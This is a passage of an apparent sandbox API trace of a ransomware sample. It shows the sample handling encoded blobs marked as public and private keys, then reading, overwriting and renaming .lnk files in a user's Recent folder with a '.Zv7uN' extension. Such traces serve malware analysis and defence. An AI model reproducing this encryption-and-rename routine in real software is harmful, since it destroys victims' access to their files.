lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0084.671] GetCurrentThreadId () returned 0xa30 [0084.671] GetCurrentThreadId () returned 0xa30 [0084.671] GetCurrentThreadId () returned 0xa30 [0084.671] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Yf8w3Ir-P2yrhyy.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\yf8w3ir-p2yrhyy.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.671] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0084.671] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.671] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x20ee [0084.672] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.672] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x20ee, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x20ee, lpOverlapped=0x0) returned 1 [0084.673] CloseHandle (hObject=0x124) returned 1 [0084.674] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Yf8w3Ir-P2yrhyy.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\yf8w3ir-p2yrhyy.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.676] WriteFile (in: hFile=0x124, lpBuffer=0x1f90730*, nNumberOfBytesToWrite=0x20ee, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f90730*, lpNumberOfBytesWritten=0x18f978*=0x20ee, lpOverlapped=0x0) returned 1 [0084.678] CloseHandle (hObject=0x124) returned 1 [0084.681] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Yf8w3Ir-P2yrhyy.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\yf8w3ir-p2yrhyy.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Yf8w3Ir-P2yrhyy.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\yf8w3ir-p2yrhyy.lnk.zv7un")) returned 1 [0084.682] GetCurrentThreadId () returned 0xa30 [0084.682] GetCurrentThreadId () returned 0xa30 [0084.682] GetCurrentThreadId () returned 0xa30 [0084.682] GetCurrentThreadId () returned 0xa30 [0084.682] GetCurrentThreadId () returned 0xa30 [0084.682] GetCurrentThreadId () returned 0xa30 [0084.682] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d4fbc80, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d4fbc80, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d4fbc80, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa58, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="YS0OguZ6OJI9t.lnk", cAlternateFileName="YS0OGU~1.LNK")) returned 1 [0084.682] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.683] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.683] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YS0OguZ6OJI9t.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ys0oguz6oji9t.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d4fbc80, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d4fbc80, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d4fbc80, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa58)) returned 1 [0084.683] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YS0OguZ6OJI9t.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ys0oguz6oji9t.lnk")) returned 0x20 [0084.683] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YS0OguZ6OJI9t.lnk", dwFileAttributes=0x80) returned 1 [0084.687] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0084.687] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0084.689] GetCurrentThreadId () returned 0xa30 [0084.689] GetCurrentThreadId () returned 0xa30 [0084.689] GetCurrentThreadId () returned 0xa30 [0084.689] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0084.689] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0084.689] GetCurrentThreadId () returned 0xa30 [0084.690] GetCurrentThreadId () returned 0xa30 [0084.690] GetCurrentThreadId () returned 0xa30 [0084.690] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YS0OguZ6OJI9t.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ys0oguz6oji9t.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.690] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0084.690] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.690] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xa58 [0084.690] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.690] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xa58, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xa58, lpOverlapped=0x0) returned 1 [0084.692] CloseHandle (hObject=0x124) returned 1 [0084.692] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YS0OguZ6OJI9t.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ys0oguz6oji9t.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.694] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xa58, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xa58, lpOverlapped=0x0) returned 1 [0084.696] CloseHandle (hObject=0x124) returned 1 [0084.701] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YS0OguZ6OJI9t.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ys0oguz6oji9t.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YS0OguZ6OJI9t.lnk.Zv7uN" 